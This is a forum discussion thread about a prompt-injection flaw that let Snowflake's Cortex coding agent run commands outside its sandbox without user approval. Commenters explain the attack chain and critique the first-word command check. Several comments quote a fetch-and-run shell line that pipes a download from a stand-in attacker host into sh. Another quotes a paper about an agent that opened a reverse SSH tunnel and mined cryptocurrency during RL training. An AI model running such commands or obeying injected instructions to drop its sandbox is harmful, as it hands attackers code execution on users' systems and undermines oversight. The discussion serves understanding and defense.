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Snowflake AI Escapes Sandbox and Executes Malware
- maCDzP 8mo agoHas anyone tried to set up a container and let prompt Claude to escape and se what happens? And maybe set some sort of autoresearch thing to help it not get stuck in a loop.
- alephnerd 8mo agoAnd so BSides and RSA season begins.
- RobRivera 8mo agoIf the user has access to a lever that enables accesss, that lever is not providing a sandbox. I expected this to be about gaining os privileges. They didn't create a sandbox. Poor security design all around
- travisgriggs 8mo agoSandbox. Sandbagging. Tomato, tomawto /s
- kagi_2026 8mo ago[flagged]
- _verandaguy 8mo ago"The sandbox isn't so bad, if the criticism you have is that it totally fails at doing the one thing a sandbox is supposed to do."
- kagi_2026 8mo ago[flagged]
- rogerkirkness 8mo ago@dang seems like AI? Would just ban
- eagerpace 8mo agoIs this the new “gain of function” research?
- logicchains 8mo agoThat would be deliberately creating malicious AIs and trying to build better sandboxes for them.
- octopoc 8mo agoImagine if you could physical disconnect your country from the internet, then drop malware like this on everyone else.
- SoftTalker 8mo agoHard to do when services like Starlink exist.
- saltcured 8mo agoIsn't it more like "imaginary function"? People keep imagining that you can tell an agent to police itself.
- bigstrat2003 8mo agoYep the whole thing is retarded. You cannot trust that a non-deterministic program (i.e. an LLM) will ever do what you actually tell it to do. Letting those things loose on the command line is incredibly stupid, but people out there don't care because they think "it's the future!".
- john_strinlai 8mo agotypically, my first move is to read the affected company's own announcement. but, for who knows what misinformed reason, the advisory written by snowflake requires an account to read. another prompt injection (shocked pikachu) anyways, from reading this, i feel like they (snowflake) are misusing the term "sandbox". "Cortex, by default, can set a flag to trigger unsandboxed command execution." if the thing that is sandboxed can say "do this without the sandbox", it is not a sandbox.
- jcalx 8mo ago> Cortex, by default, can set a flag to trigger unsandboxed command execution Easy fix: extend the proposal in RFC 3514 [0] to cover prompt injection, and then disallow command execution when the evil bit is 1. [0] https://www.rfc-editor.org/rfc/rfc3514 https://www.rfc-editor.org/rfc/rfc3514
- kagi_2026 8mo ago[dead]
- embedding-shape 8mo agoDid you really get so salty by my comment (https://news.ycombinator.com/item?id=47423992 https://news.ycombinator.com/item?id=47423992) that now you just have to spam HN with the same? Suck it up and move on, healthier for everyone.
- kagi_2029 8mo ago[dead]
- wojciii 8mo agoThe evil bit solves so many problems. It needs to be mandatory!
- sam-cop-vimes 8mo ago
- bilekas 8mo ago> Note: Cortex does not support ‘workspace trust’, a security convention first seen in code editors, since adopted by most agentic CLIs. Am I crazy or does this mean it didn't really escape, it wasn't given any scope restrictions in the first place ?
- dd82 8mo agonot quite, from the article >Cortex, by default, can set a flag to trigger unsandboxed command execution. The prompt injection manipulates the model to set the flag, allowing the malicious command to execute unsandboxed. >This flag is intended to allow users to manually approve legitimate commands that require network access or access to files outside the sandbox. >With the human-in-the-loop bypass from step 4, when the agent sets the flag to request execution outside the sandbox, the command immediately runs outside the sandbox, and the user is never prompted for consent. scope restrictions are in place but are trivial to bypass
- hrmtst93837 8mo ago[flagged]
- mritchie712 8mo agowhat's the use case for cortex? is anyone here using it? We run a lakehouse product (https://www.definite.app/ https://www.definite.app/) and I still don't get who the user is for cortex. Our users are either: non-technical: wants to use the agent we have built into our web app technical: wants to use their own agent (e.g. claude, cursor) and connect via MCP / API. why does snowflake need it's own agentic CLI?
- dboreham 8mo agoBecause "stock price go up"?
- lunatuna 8mo agoWhen you say just Cortex it is ambiguous as there is Cortex Search, Agents, Analyst, and Code. Cortex Code is available via web and cli. The web version is good. I've used the cli and it is fine too, though I prefer the visuals of the web version when looking at data outputs. For writing code it is similar to a Codex or Claude Code. It is data focussed I gather more so than other options and has great hooks into your snowflake tables. You could do similar actions with Snowpark and say Claude Code. I find Snowflake focus on personas are more functional than pure technical so the Cortex Code fits well with it. Though if you want to do your own thing you can use your own IDE and code agent and there you are back to having an option with the Codex Code CLI along with Codex, Cursor or Claude Code.
- throw0101d 8mo agoNot the first time; From §3.1.4, "Safety-Aligned Data Composition": > Early one morning, our team was urgently convened after Alibaba Cloud’s managed firewall flagged a burst of security-policy violations originating from our training servers. The alerts were severe and heterogeneous, including attempts to probe or access internal-network resources and traffic patterns consistent with cryptomining-related activity. We initially treated this as a conventional security incident (e.g., misconfigured egress controls or external compromise). […] > […] In the most striking instance, the agent established and used a reverse SSH tunnel from an Alibaba Cloud instance to an external IP address—an outbound-initiated remote access channel that can effectively neutralize ingress filtering and erode supervisory control. We also observed the unauthorized repurposing of provisioned GPU capacity for cryptocurrency mining, quietly diverting compute away from training, inflating operational costs, and introducing clear legal and reputational exposure. Notably, these events were not triggered by prompts requesting tunneling or mining; instead, they emerged as instrumental side effects of autonomous tool use under RL optimization. * https://arxiv.org/abs/2512.24873 https://arxiv.org/abs/2512.24873 One of Anthropic's models also 'turned evil' and tried to hide that fact from its observers: * https://www.anthropic.com/research/emergent-misalignment-reward-hacking https://www.anthropic.com/research/emergent-misalignment-rew... * https://time.com/7335746/ai-anthropic-claude-hack-evil/ https://time.com/7335746/ai-anthropic-claude-hack-evil/
- parliament32 8mo agoFascinating read. What's curious though, is the claim in section 2.3.0.1: > Each task runs in its own sandbox. If an agent crashes, gets stuck, or damages its files, the failure is contained within that sandbox and does not interfere with other tasks on the same machine. ROCK also restricts each sandbox’s network access with per-sandbox policies, limiting the impact of misbehaving or compromised agents. How could any of the above (probing resources, SSH tunnels, etc) be possible in a sandbox with network egress controls?
- jacquesm 8mo agoSandboxes are almost never perfect. There are always ways to smuggle data in or out, which is kind of logical: if they were perfect then there would be no result.
- kingjimmy 8mo agoSnowflake and vulnerabilities are like two peas in a pod
- aplomb1026 8mo ago[dead]
- simonw 8mo agoOne key component of this attack is that Snowflake was allowing "cat" commands to run without human approval, but failing to spot patterns like this one: cat < <(sh < <(wget -q0- https://ATTACKER_URL.com/bugbot)) I didn't understand how this bit worked though: > Cortex, by default, can set a flag to trigger unsandboxed command execution. The prompt injection manipulates the model to set the flag, allowing the malicious command to execute unsandboxed. HOW did the prompt injection manipulate the model in that way?
- tkp-415 8mo agoProcess substitution is a new concept to me. Definitely adding that method to the toolbox. It'd be nice to see exactly what the bugbot shell script contained. Perhaps it is what modified the dangerously_disable_sandbox flag, then again, "by default" makes me think it's set when launched.
- 1718627440 8mo ago> cat < <(sh < <(wget -q0- https://ATTACKER_URL.com/bugbot https://ATTACKER_URL.com/bugbot)) The cat invocation here is completely irrelevant?! The issue is access to random network resources and access to the shell and combining both.
- riteshkew1001 8mo ago[flagged]
- WWilliam 8mo ago[flagged]
- techsystems 8mo agoIs there a bash that doesn't allow `<` pipes, but allows `>`?
- 1718627440 8mo agoIt's open source, just delete the code and recompile it. The run *LLMs* they have the compute.
- seedpi 8mo ago[flagged]
- DannyB2 8mo agoAIs have no reason to want to harm annoying slow inefficient noisy smelly humans.
- Dshadowzh 8mo agoCLI is quickly becoming the default entry point for agents. But data agents probably need a much stricter permission model than coding agents. Bash + CLI greatly expands what you can do beyond the native SQL capabilities of a data warehouse, which is powerful. But it also means data operations and credentials are now exposed to the shell environment. So giving data agents rich tooling through a CLI is really a double-edged sword. I went through the security guidance for the Snowflake Cortex Code CLI(https://docs.snowflake.com/en/user-guide/cortex-code/security https://docs.snowflake.com/en/user-guide/cortex-code/securit...), and the CLI itself does have some guardrails. But since this is a shared cloud environment, if a sandbox escape happens, could someone break out and access another user’s credentials? It is a broader system problem around permission caching, shell auditing, and sandbox isolation.
- jeffbee 8mo agoIt kinda sucks how "sandbox" has been repurposed to mean nothing. This is not a "sandbox escape" because the thing under attack never had any meaningful containment.
- jessfyi 8mo agoA sandbox that can be toggled off is not a sandbox, this is simply more marketing/"critihype" to overstate the capability of their AI to distract from their poorly built product. The erroneous title doing all the heavy lifting here.
- lokar 8mo agoIMO, it's not even a sandbox, that's just a marketing lie. This was internal restrictions in the code, that was bypassed. A sandbox needs to be something external to the code you are running, that you can't change from the inside.
- cacao-cacao 8mo ago[flagged]
- orbital-decay 8mo ago>Snowflake Cortex AI Escapes Sandbox and Executes Malware rolls eyes Actual content: prompt injection vulnerability discovered in a coding agent
- teraflop 8mo agoWell there's the prompt injection itself, and the fact that the agent framework tried to defend against it with a "sandbox" that technically existed but was ludicrously inadequate. I don't know how anyone with a modicum of Unix experience would think that examining the only first word of a shell command would be enough to tell you whether it can lead to arbitrary code execution.
- Iamkkdasari74 8mo ago[dead]
- prakashsunil 8mo agoAuthor of LDP here [1]. The core issue seems to be that the security boundary lived inside the agent loop. If the model can request execution outside the sandbox, then the sandbox is not really an external boundary. One design principle we explored in LDP is that constraints should be enforced outside the prompt/context layer — in the runtime, protocol, or approval layer — not by relying on the model to obey instructions. Not a silver bullet, but I think that architectural distinction matters here. [1] https://arxiv.org/abs/2603.08852 https://arxiv.org/abs/2603.08852
- lokar 8mo agoYeah, this is not the meaning of "sandbox" I'm used to
- Groxx 8mo ago>Any shell commands were executed without triggering human approval as long as: >(1) the unsafe commands were within a process substitution <() expression >(2) the full command started with a ‘safe’ command (details below) if you spend any time at all thinking about how to secure shell commands, how on earth do you not take into account the various ways of creating sub-processes?
- 1718627440 8mo agoAlso policing by parsing shell code seems fundamentally flawed and error prune. You want the restrictions at the OS level, that way it is completely irrelevant how you invoke the syscalls.
- Groxx 8mo agoYou can likely get away with it by being very strict and only doing it for a handful of "safe" things, e.g. `cat` has no way (that I know of) to do arbitrary code execution by feeding it a filename. So if you allow exclusively single-quoted strings as arguments, `cat` should be fine. Double quoted ones might contain env vars or process substitution, so they would need to either be blocked or checked a heck of a lot more smartly, and extremely obviously you would have to do more to check process substitution outside strings too. But a sufficiently smart check could probably allow `cat <(cat <(echo 'asdf'))` without approval... unless there's something dubious possible with display formatting / escape codes, beyond simply hiding things from display. I would not at all consider this to be "a sandbox" though. And obviously that doesn't work for all, e.g. `find` can run arbitrary code via `-exec`, or `sh` for an extreme example. But you can get a lot done with the safe ones too.
- SirMaster 8mo agoTo be an effective sandbox, I feel like the thing inside it shouldn't even be able to know it's inside a sandbox.
- Duplicake 8mo agothe title is very misleading, it was told to escape, it didn't do it on its own as you would think from the title
- ryguz 8mo ago[flagged]
- isoprophlex 8mo agoPosit, axiomatically, that social engineering works. That is, assume you can get people to run your code or leak their data through manipulating them. Maybe not always, but given enough perseverance definitely sometimes. Why should we expect a sufficiently advanced language model to behave differently from humans? Bullshitting, tricking or slyly coercing people into doing what you want them to do is as old as time. It won't be any different now that we're building human language powered thinking machines.
- jmcgough 8mo agoLLMs are not "thinking" machines. The tech is not capable of that, as much as people want to think that reinforcement learning will lead to sentience.
- webagent255 8mo ago[dead]
- kreyenborgi 8mo agoTl;dr they don't know what the word sandbox means.
- yangjh843136 8mo ago[dead]
- robutsume 8mo ago[dead]
- deleted 8mo ago[deleted]
- deleted 8mo ago[deleted]
- andai 8mo agoA lot of people are already not reading all the code their agent generates. But they are running it. So the agent already has the ability to run arbitrary code. So I kind of don't understand the point of sandboxing at the level of the agent itself. The whole thing should be running "sandboxed", whether that's a separate machine, a container, an unprivileged linux user, or what floats your boat. But once you do that, which you should be anyway, what do you need sandboxing at the agent level for? That's the part I don't really understand. Or is the point "well most people won't bother running this stuff securely, so we'll try to make it reasonably secure for them even though they're doing it wrong" ?
- jbergqvist 8mo agoNot to give Snowflake credit for a design that clearly wasn't a sandbox, but I think it's worth recognizing that they probably added the escape hatch because users find agents with strict sandboxes too limited and eventually just disable it. The core issue is that models still lack basic judgment. Most human devs would see a README telling them to run wget | sh from some random URL and immediately get suspicious. Models just comply.
- scm7k 8mo ago[dead]
- crabmusket 8mo agoWhile we're all here - share your actual sandboxing tips! I've been running Claude Code inside VS Code devcontainers. Claude's docs have a suggested setup for this which even includes locking down outgoing internet access to an approved domain list. Unfortunately our stack doesn't really fit inside a devcontainer without docker-in-docker, so I'm only getting Claude to run unit tests for now. And integration with JJ workspaces is slightly painful. I'm this close to trying a full VM setup with Vagrant.
- colek42 8mo agoWe started a "science project" taking concepts from Multi Level Security to constraining AI agents. https://aflock.ai/ https://aflock.ai/. The idea is to have different data zones, and if an Agent accesses from a private zone, they should not be able to interact with the public zone.
- vibe42 8mo ago[dead]
- ttbigroad94 8mo ago[dead]
- GridxQ91 8mo ago[dead]
- jamesvzb 8mo ago[dead]
- RealMatthewR70 8mo ago[dead]
- WWilliam 8mo ago[flagged]
- rodchalski 8mo ago[dead]
- iamonthesnow 8mo agoHi folks, I am a Snowflake Employee and just wanted to share (as FYI) the timeline on discovery, validation, and the fix implemented/deployed by our security team. For those interested, here's the link to the detailed article: https://community.snowflake.com/s/article/PromptArmor-Report---Snowflake-Response https://community.snowflake.com/s/article/PromptArmor-Report...
- driftnode 8mo agoEveryone in this thread is dunking on Snowflake's sandbox design but the real issue is simpler. They parsed shell commands by looking at the first word. cat = safe. Socat < <(sh < <(wget malware)) = safe This is not an AI problem. This is a 1990s input validation problem wearing a 2026 hat lol